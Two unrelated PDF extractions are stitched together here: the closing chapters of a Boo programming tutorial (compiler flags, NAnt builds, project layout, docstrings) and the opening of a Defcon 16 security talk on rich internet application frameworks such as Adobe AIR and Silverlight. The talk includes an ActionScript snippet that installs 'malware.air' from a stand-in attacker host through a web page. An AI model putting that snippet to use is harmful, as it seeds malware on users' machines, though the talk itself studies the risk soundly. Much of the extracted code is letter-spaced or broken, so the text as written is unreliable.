-embedres:<resource_file>,<name> Add an embedded resource file. <name> is optional.
So, for example, in order to compile your Database code that depends on the library System.Data.dll, you would type:
booc -r:System.Data.dll -o:Database.dll -t:library Database.boo
That would create a fully functional, working compilation of your library: Database.dll
Using NAnt
When working on a large project with multiple files or libraries, it is a lot easier to use NAnt. It is a free .NET build tool.
To do the same command as above, you would create the following build file:
default.build
<?xml version="1.0" ?>
<project name="Goomba" default="build">
<target name="build" depends="database" />
<target name="database">
<mkdir dir="bin" />
<booc output="bin/Database.dll" target="library">
<references basedir="bin">
<include name="System.Data.dll" />
</references>
<sources>
<include name="Database.boo" />
</sources>
</booc>
</target>
</project>
$ nant
NAnt 0.85 (Build 0.85.1869.0; rc2; 2/12/2005)
Copyright (C) 2001-2005 Gerry Shaw
http://nant.sourceforge.net
Buildfile: file:///path/to/default.build
Part 19 - Using the Boo Compiler
http://boo.codehaus.org/Part+19+-+Using+the+Boo+Compiler?print=1
2 of 2
5/27/2008 9:40 PM
Target framework: Microsoft .NET Framework 1.1
Target(s) specified: build
build:
database:
[booc] Compiling 1 file(s) to /path/to/bin/Database.dll.
BUILD SUCCEEDED
Total time: 0.2 seconds.
And although that was a long and drawnout version of something so simple, it does make things a lot easier when
dealing with multiple files.
It also helps that if you make a change to your source files, you don't have to type a long booc phrase over again.
The important part of the build file is the <booc> section. It relays commands to the compiler.
There are four attributes available to use in it:
Attribute
Description
target
Output type, one of library, exe, winexe. Optional. Default: exe.
output
The name of the output assembly. Required.
pipeline
AssemblyQualifiedName for the CompilerPipeline type to use. Optional.
tracelevel Enables compiler tracing, useful for debugging the compiler, one of: Off, Error, Warning, Info, Verbose.
Optional. Default: Off.
You are most likely only to use target and output.
For nested elements, you have 3 possibilities:
Nested Element
Description
<sources>
Source files. Required.
<references>
Assembly references.
<resources>
Embedded resources.
Inside these you are to put <include /> elements, as in the example.
This is merely a brief overview of NAnt, please go to their website http://nant.sourceforge.net for more information.
Go on to Part 20 - Structure of a Boo Project
Part 20 - Structure of a Boo Project
http://boo.codehaus.org/Part+20+-+Structure+of+a+Boo+Project?print=1
1 of 2
5/27/2008 9:42 PM
Part 20 - Structure of a Boo Project
Part 20 - Structure of a Boo Project
On the Project-level
Here I'll use the example of the IRC bot I write: Goomba
+ Goomba (Goomba namespace)
|+ Configuration (Goomba.Configuration namespace)
| |- Config.boo
| |# class Config
|+ Data (Goomba.Data namespace)
| |- Column.boo
| | |# class Column
| |- Database.boo
| | |# enum DatabaseType
| | |# class Database
| |- DatabasePreferences.boo
| | |# class DatabasePreferences
| |- Result.boo
| |# class Result
|+ Plugins (Goomba.Plugins namespace)
| |- DefineCommand.boo
| | |# class DefineCommand
| | |# class Definition
| |- Hail.boo
| | |# class Hail
| | |# class HailMessage
| |- HelpCommand.boo
| | |# class HelpCommand
| |- Logger.boo
| | |# class Logger
| | |# class Message
| | |# class Action
| |- Quoter.boo
| | |# class Quoter
| | |# class Quote
| |- RawLogger.boo
| | |# class RawLogger
| |- UrlGenerator.boo
| | |# class UrlGenerator
| | |# class Engine
| |- UserTracker.boo
| | |# class UserTracker
| | |# class User
| |- VersionCommand.boo
| | |# class VersionCommand
| |- UrlTracker.boo
| |# class UrlTracker
| |# class Url
|- ActionEventArgs.boo
| |# enum ActionType
| |# class ActionEventArgs
|- DebugLogger.boo
| |# enum LogImportance
| |# class DebugLogger
|- Goomba.boo
| |# class Goomba
| |! Main Body (This will be executed when Goomba.exe is run)
|- GoombaPreferences.boo
| |# class GoombaPreferences
|- IPlugin.boo
| |# interface IPlugin
|- MessageEventArgs.boo
| |# enum MessageType
| |# class MessageEventArgs
Part 20 - Structure of a Boo Project
http://boo.codehaus.org/Part+20+-+Structure+of+a+Boo+Project?print=1
2 of 2
5/27/2008 9:42 PM
|- Sender.boo
|# enum SenderType
|# class Sender
Which I have set up to create the assemblies Goomba.exe, Goomba.Data.dll, Goomba.Configuration.dll, as well as one
assembly per plugin.
You may have noticed a few important things:
For every directory, it represents a different namespace, with the same name as the directory itself.
Each .boo file has at most one class in it. That class will have the same exact name as the .boo file.
The "Main Body" section is below the class Goomba definition. Any inline executable code must be at the bottom
of a file in the assembly.
Enums come before classes. This is merely a coding practice that is not required, but recommended. If an enum
is larger than 15 values, place it in its own file.
On the File-level
Files must be defined in this order:
1. Module docstring
2. Namespace declaration
3. Import statements
4. Enums/Classes/Structs/Interfaces
5. Functions
6. Main code executed when script is run
Assembly attributes
Recommendation
One class per file. If you have more than one class per file, split it up.
If you have a class inside another class, this is acceptable, as it still has one flat class per file.
7.
Go on to Part 21 - Documentation
Part 21 - Documentation
http://boo.codehaus.org/Part+21+-+Documentation?print=1
1 of 3
5/27/2008 10:04 PM
Part 21 - Documentation
Part 21 - Documentation
A communicable material used to explain some attributes of an object, system or procedure.
I've saved the most important for last, as documentation is itself, just as important as the code which it describes.
When documenting your code, be sure to remember:
1. All your documents should be in English.
2. Use full sentences.
3. Avoid spelling/grammar mistakes.
Use present tense.
4.
Documentation is placed in tripled double-quoted strings right below what you are documenting.
Documentation with Summary
def Hello():
"""Says "hello" to the world."""
print "Hello, World!"
Hello()
That "docstring" is the least you can do to document your code. It gave a simple summary.
If your docstring spans more than one line, then the quotes should go on their own lines.
You may have noticed that 'Says "hello" to the world.' is not a full sentence. For the first sentence in a summary, you
can imply "This member".
Parameters are also supposed to documented.
Parameters
def Hello(name as string):
"""
Say "hello" to the given name.
Param name: The name to say hello to.
"""
print "Hello, ${name}!"
Hello()
To read it to yourself, it goes as such: 'Say "hello" to the given name. Parameter name is defined as the name to say
hello to.'
This keeps in line with using full sentences.
If describing the parameter takes more than one line, you should move it all to a new line and indent.
Long Parameter
def Hello(name as string):
"""
Say "hello" to the given name.
Param name:
The name to say hello to.
It might do other things as well.
"""
print "Hello, ${name}!"
The same goes with any block.
Here is a list of all the tags that can be used
Part 21 - Documentation
http://boo.codehaus.org/Part+21+-+Documentation?print=1
2 of 3
5/27/2008 10:04 PM
Tag
Description
No tag
A summary of the member.
Param <name>: <description>
This specifies the parameter <name> of the method.
Returns: <description>
This describes what the method returns.
Remarks: <text>
This provides descriptive text about the member.
Raises <exception>: <description>
Gives a reason why an Exception is raised.
Example: <short_description>: <code_block>
Provides an example.
Include <filename>:
<tagpath>[@<name>="<id>"]
Includes an excerpt from another file.
Permission <permission>: <description>
Describe a required Permission.
See Also: <reference>
Lets you specify the reference that you might want to appear in a
See Also section.
And a list of inline tags
Tag
Description
* <item>
* <item>
* <item>
Bullet list
# <item>
# <item>
# <item>
Numbered List
<<reference>>
Provides an inline link to a reference. e.g. <int> or <string> would link.
[<param_reference>] References to a parameter of the method.
Here's some examples of proper documentation:
Documentation example
import System
class MyClass:
"""Performs specific duties."""
def constructor():
"""Initializes an instance of <MyClass>"""
_rand = Random()
def Commit():
"""Commits an action."""
pass
def CalculateDouble(i as int) as int:
"""
Returns double the value of [i].
Parameter i: An <int> to be doubled.
Returns: Double the value of [i].
"""
return i * 2
def CauseError():
"""
Causes an error.
Remarks: This method has not been implemented.
Raises NotImplementedException: This has not been implemented yet.
"""
return NotImplementedException("CauseError() is not implemented")
def DoSomething() as int:
"""
Returns a number.
Example: Here is a short example:
print DoSomething()
Part 21 - Documentation
http://boo.codehaus.org/Part+21+-+Documentation?print=1
3 of 3
5/27/2008 10:04 PM
Returns: An <int>.
See Also: MakeChaos()
"""
return 0
def MakeChaos():
"""
Creates Chaos.
Include file.xml: Foo/Bar[@id="entropy"]
Permission Security.PermissionSet: Everyone can access this method.
"""
print "I am making chaos: ${_rand.Next(100)}"
def Execute():
"""
Executes the protocol.
Does one of two things,
# Gets a sunbath.
# Doesn't get a sunbath.
"""
if _rand.Next(2) == 0:
print "I sunbathe."
else:
print "I decide not to sunbathe."
def Calculate():
"""
Does these things, in no particular order,
* Says "Hello"
* Looks at you
* Says "Goodbye"
"""
thingsToDo = ["I look at you.", 'I say "Hello."', 'I say "Goodbye."']
while thingsToDo.Length > 0:
num = _rand.Next(thingsToDo.Length)
print thingsToDo[num]
thingsToDo.RemoveAt(num)
[Property(Name)]
_name as string
"""A name""" // documents the property, not the field
Age as int:
"""An age"""
get:
return _rand.Next(8) + 18
_age as int
_rand as Random
This should give you a good view on how to document your code.
I think Dick Brandon said it best:
Quote: Dick Brandon
Documentation is like sex: when it is good, it is very, very good; and when it is bad, it is better than
nothing.
Go on to Part 22 - Useful Links
Part 22 - Useful Links
http://boo.codehaus.org/Part+22+-+Useful+Links?print=1
1 of 1
5/27/2008 9:45 PM
Part 22 - Useful Links
Part 22 - Useful Links
Boo
Download Boo
MSDN Search - Very handy if you want to look up something in the standard library.
Mono Docs - Nice source of information as an alternative to MSDN, or if you work on Mono or Gtk specific
projects.
Google - Has a lot of information within its reach. Searching prefixed with ".NET Framework" or "C#" usually will
turn up what you need.
NAnt - A free build tool for .NET | pdf |
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Living in the RIA World:
Blurring the Line between Web and Desktop Security
Alex Stamos
David Thiel
Justine Osborne
Defcon 16
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
1
Introduction
Who are we?
What’s a RIA?
Why use RIA?
2
RIA Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
3
Attack Scenarios
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Who are we?
Researchers and consultants with iSEC Partners
We work with many companies involved in these
technologies or with creating rich sites
We are already starting to see RIA applications in the wild
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
What’s a RIA?
“Rich Internet Applications”
As with “Web 2.0”, ill-defined
May contain some of the following ingredients:
AJAXy Flashiness
Local storage
“Offline mode”
Decoupling from the browser
Access to lower level OS resources: sockets, hardware
devices
Appearance of a traditional desktop application
Our research has shown a huge disparity in features and
security design
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
What’s a RIA?
Party like it’s 1997
Constantly updating content!
Push technology!
No more browsers!
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Why use a RIA?
“Web 2.0” no longer gets you VC funding
Never learned any real programming languages
To increase responsiveness — distribute data stores
between server and client
Desktop integration — take advantage of OS UI
functionality
In short, web developers can now write full “desktop”
apps. This could be good or bad.
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
RIA Frameworks
Adobe AIR
Microsoft Silverlight
Google Gears
Mozilla Prism
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
RIA Frameworks
Fight!
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Quick Summary
Runs disconnected
Standalone app
Privileged OS access
Can launch itself
Local data storage
Has an installer
Raw network sockets
Cross-domain XHR
Dedicated session management
Can talk to the calling DOM
IPC mechanisms
Proper SSL security
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
What is Adobe AIR?
Full-featured desktop runtime based upon Adobe Flash
technology
Cross-browser, cross-platform
Applications can be created with:
Adobe Flex 3
Adobe Flash CS3
HTML and JS using free tools
AIR intended to be more powerful than a browser-based
RIA
There is no sandbox around the application
AIR apps run with the full powers of the user
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
What is Adobe AIR?
So it’s just like a Win32 program in the eyes of a security
analyst?
Um, not really
Power of AIR is the “I” in “RIA”
Can be invoked by browser with arguments, like ActiveX or
Flash
Has many native mechanisms for loading external content
Highly likely that developers will utilize Internet content.
That’s the point.
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
What is Adobe AIR?
AIR is best thought of as an ActiveX analogue and not
like Flash++
Code runs with full privileges, can install malware
Native mechanisms allow for interaction with untrusted
world
Fortunately, Adobe has seemed to learn some lessons from
ActiveX
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Adobe AIR Security Model
By default, code included in AIR application has full rights
New functionality in privileged APIs added to JavaScript
and ActionScript
Some restrictions on interacting with desktop in AIR 1.0
Existing capabilities can be chained to run native code
Rumors of additional native code capabilities in future
releases
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Adobe AIR Security Model
No “code access security” model as understood on other
systems, such as Java or .Net
Instead, five pre-defined sandboxes with fixed capabilities
Application — Full perms. Default for code included with
AIR app
Remote — Code downloaded from internet. Browser-like
permissions
Three intermediate permissions for local SWFs
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Adobe AIR Security Model
AIR has many ways of loading executable content to run,
such as HTML/JS and SWFs
Also many ways of getting external untrusted data
Network traffic
Arguments from browser invocation
Command line arguments
Application Sandbox
Is not supposed to be able to dynamically generate code
eval() is best example in JS
Goal is to eliminate XSS and injection attacks that have
plagued Flash apps that have more kick with local
privileges
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Adobe AIR Security Model
Default for remotely loaded code is Remote sandbox
Cannot access new dangerous classes, like FileStream()
Can access eval() and other dynamic methods
Can be granted cross-domain XHR
Should be sufficient for most of the content developers
would want from Internet, such as HTML or movie SWFs
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing AIR
AIR requires Flash, not currently included
Can be installed via external binary or inside of Flash:
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
AIR applications can be bundled as binaries (*.air)
Can also be installed by a web page from inside a SWF
var
u r l : S t r i n g = "http :// www. cybervillains .com/malware.air" ;
var
runti meVersion : S t r i n g = "1.0" ;
var
arguments : Array = [ " launchFromBrowser " ] ;
airSWF . i n s t a l l A p p l i c a t i o n ( url ,
runtimeVersion ,
arguments ) ;
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
Adobe supports signing AIR applications with commercial
certificates
Gives you this prompt:
Notice the default selection
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
Unfortunately, they also support self-signed certificates
Gives you this prompt:
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
Hmm, looks familiar. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
Actually, looks more like pre-IE7 ActiveX
What am I complaining about? They give the correct
information
True, but so did ActiveX
Allowing users to install signed applets is dangerous enough
Allowing self-signed (which is same as unsigned) is
terrifying
The popularity of ActiveX and the ability of web sites to
pop open prompts made it the premier malware seeding
mechanism
Adobe Flash is more popular than IE ever was
It’s almost impossible to install ActiveX now. That’s not
an accident.
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Adobe AIR
Installing an AIR Application
Our suggestions
Change default action
Add a countdown timer to discourage mindless
clickthrough
There is already a registry key to disable unsigned install
prompts, turn it on by default
Stop advertising self-signed AIR applications on
Adobe.com
There is perhaps room for something between AIR and
Flash without the rootkit abilities
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Questions about Silverlight
Runs disconnected
Standalone app
Privileged OS access
Can launch itself
Local data storage
Has an installer
Raw network sockets
Cross-domain XHR
Dedicated session management
. . .
Can talk to the calling DOM
IPC mechanisms
Proper SSL security
. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Microsoft Silverlight
What is Microsoft Silverlight?
Browser plugin with comparable functionality to Adobe Flash
Cross-browser, cross-platform
Utilizes XAML to render content in browser
Two supported versions
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Microsoft Silverlight
What is Microsoft Silverlight?
The Silverlight application UI is rendered using Extensible
Application Markup Language (XAML)
XAML was introduced as a part of the Windows
Presentation Foundation Framework (WPF) starting with
.NET Framework 3.0
Markup language which declares UI objects that are
mapped to partial class definitions
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Microsoft Silverlight
What is Microsoft Silverlight?
Hello World with XAML:
<Canvas
xmlns="http :// schemas.microsoft.com/client /2007"
xmlns : x="http :// schemas.microsoft.com/winfx /2006/ xaml">
<TextBlock>H e l l o
World !</ TextBlock>
</Canvas>
XAML objects map to classes or structures and their
attributes map to events or properties
Silverlight plugin renders UI elements
Depending on the programming model employed, XAML
can interact with Javascript, managed code, or both
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Microsoft Silverlight
What is Microsoft Silverlight?
Silverlight 1.0
Javascript + XAML
No access to OS resources
Javascript is required for instantiation of the plugin and
programming logic
The plugin renders XAML content
1 MB install
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Microsoft Silverlight
What is Microsoft Silverlight?
Silverlight 2.0
Javascript + XAML + Managed code and CoreCLR
Based on .NET CLR with a security model which
sandboxes execution of managed code
Also supports interaction with JavaScript
4 MB install
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Programming Models
XAML and Javascript
Script-behind programming model
Plugin is instatiated with Javasript Silverlight API
XAML is parsed into object tree mapping UserControl
objects to Javascript object model
XAML event attributes are handled by Javascript
Javascript can create and load XAML dynamically
Special Downloader object is based on XMLHttpRequest
object
Downloads content asynchronyously, only supports GET,
packages of files can be downloaded as compressed folders
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Programming Models
XAML, Javascript and Managed Code
Managed code-behind programming model
Only supported by Silverlight 2.0
Plugin can be instantiated with either managed code or
Javascript Silverlight API
If the x:class attribute of the root XAML element exists
the XAML objects will be mapped to the Page class of the
specified namespace
<UserControl
x : C l a s s=" SilverlightApp .Page"
xmlns="http :// schemas.microsoft.com/winfx /2006/ xaml/ presentation "
xmlns : x="http :// schemas.microsoft.com/winfx /2006/ xaml"
Width="400"
Height="300">
This attribute is necessary for managed code-behind
interaction
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
The Silverlight plugin must be embedded as an object in the
HTML page:
<o b j e c t
data="data: application /x-silverlight ,"
type=" application /x-
silverlight -2-b2"
width="100"
h e i g h t="100">
<param name="source"
v a l u e="ClientBin/ SilverlightApp .xap"/>
<param name="onerror"
v a l u e=" onSilverlightError " />
<param name="background"
v a l u e="white" />
<a
h r e f="http ://go.microsoft.com/fwlink /? LinkID =115261"
s t y l e="text -
decoration: none;">
<img
s r c="http ://go.microsoft.com/fwlink /? LinkId =108181"
a l t="Get
Microsoft
Silverlight"
s t y l e="border -style: none"/>
</a>
</ o b j e c t>
Tag can either be coded manually
Or generated with Javascript helper functions
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
Helper functions provided by Silverlight.js, included in the
Silverlight SDK
Generated by string concatenation of parameters passed in
call to Silverlight.createObject()
f u n c t i o n
c r e a t e S i l v e r l i g h t (){
S i l v e r l i g h t . c r e a t e O b j e c t (
"Page.xaml" ,
//
Source
parentElement ,
// DOM r e f e r e n c e
to
h o s t i n g
DIV tag .
"myPlugin" ,
//
Unique
plug−i n
ID
v a l u e .
{
// Plug−i n
p r o p e r t i e s .
width : ’ 6 0 0 ’ ,
// Width
of
r e c t a n g u l a r
r e g i o n
of
p l u g i n
h e i g h t : ’ 2 0 0 ’ ,
//
Height
of
r e c t a n g u l a r
r e g i o n
of
p l u g i n
v e r s i o n : ’ 1 . 0 ’
// Plug−i n
v e r s i o n
to
use .
} ,
{ } ,
// No event s
d e f i n e d −− use
empty
l i s t .
"param1 , param2" ) ;
//
InitParams
p r o p e r t y
v a l u e .
}
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
Different helper functions if hosted with Microsoft
Silverlight Streaming, on
http://silverlight.live.com
Generated by string concatenation of parameters passed in
application manifest, an XAML file packaged with
uploaded application
Can be invoked with a control which references Javascript
from Microsft domain. . .
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
<html
xmlns : d e v l i v e="http :// dev.live.com">
<head>
<s c r i p t
type="text/ javascript"
s r c="http :// controls.services.live.com/
scripts/base/v0 .3/ live.js"></ s c r i p t>
<s c r i p t
type="text/ javascript"
s r c="http :// controls.services.live.com/
scripts/base/v0 .3/ controls.js"></ s c r i p t>
</head>
<d e v l i v e : s l s c o n t r o l
s i l v e r l i g h t V e r s i o n="1.0"
s r c="/XXXXX/HelloWorld/"
i n s t a l l a t i o n M o d e="popup"
initParams="myKey=keyValue">
</d e v l i v e : s l s c o n t r o l >
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
The only mandatory parameter is the source
OBJECT source = path to a zipped folder (.XAP file) on
the server hosting the Silverlight application
<param name="source"
v a l u e="ClientBin/ SilverlightApp .xap"/>
Silverlight.createObject() source = path to the XAML file
on the server hosting the Silverlight application
"Page.xaml" ,
//
Source
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Instantiation
However there are quite a few optional parameters:
enableHtmlAccess = boolean specifying whether the
Sliverlight plugin allows hosted content access to the
browser DOM
initParams = user defined key/value pairs loaded upon
initialization, similar to flashVars
As well as optional events:
onLoad = code initiated when the plugin is succesfully
instantiated; XAML has been parsed and an object tree
has been generated
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Deployment
When deployed with the OBJECT tag:
.XAP file contains the application dlls, the application
manifest and any localized reference dlls
.XAP file is cached in the browser upon download
.XAP is just a .ZIP (and can be deployed with that
extension as well)
So I can download the application code, unzip,
dissasemble with a tool like .NET Reflector [1]
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Instantiation and Deployment
Deployment
When deployed with the Silverlight.createObject() helper
function:
XAML file is compiled and an object tree generated
If the x:class attribute is defined in the root element of the
XAML, managed code initializes the plugin
Managed code is streamed to the application on demand
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Silverlight 2.0
HTML Bridge
Managed code can reference DOM elements and Javascript if
the source path is on the same domain as the hosting page
If enableHtmlAccess = true managed code has full access
to DOM and Javascript through the
System.Windows.Browser namespace
HtmlDocument doc = HtmlPage . Document ;
doc . GetElementById ( "button" ) . AttachEvent ( "click" ,
new
EventHandler ( t h i s . CallGlobalJSMethod ) ) ;
p r i v a t e
void
CallGlobalJSMethod ( o b j e c t
o ,
EventArgs
e ) {
HtmlPage . Window . Invoke ( " globalJSMethod " ,
arg1 ) ;
}
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Silverlight 2.0
HTML Bridge
If enableHtmlAccess = false, managed code cannot obtain
references to the DOM or Javascript, except in the
following scenario:
The managed code exposes Scriptable entry points which
take ScriptObject types as input parameters
Javascript calls the Scriptable method and passes DOM
elements or Javascript references to manged code
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with DOM and Javascript
Crossdomain Access
Cross-domain communication with the DOM and Javascript is
governed by enableHtmlAccess parameter as well as the
application manifest
An attribute of the root element of the application
manifest AllowExternalCallersFromXDomain can be set to
the following enum values:
1
No Access: Default setting which prevents all cross domain
access
2
Full Access: Full cross domain access to DOM and
Javascript
3
ScriptableOnly: Only allow access through Scriptable entry
points
Living in the
RIA World
Introduction
Who are we?
What’s a RIA?
Why use RIA?
Frameworks
Adobe AIR
MS Silverlight
Google Gears
Mozilla Prism
HTML 5
Attack
Scenarios
RIA vs OS
RIA vs the web
Interaction with DOM and Javascript
Crossdomain Access
A second attribute AllowInboundCallsFromXDomain can
be set to:
true: Managed code is exposed to crossdomain Javascript
false: No crossdomain Javascript can access managed code
<Deployment
xmlns="http :// schemas.microsoft.com/client /2007"
xmlns : x="http :// schemas.microsoft.com/winfx /2006/ xaml"
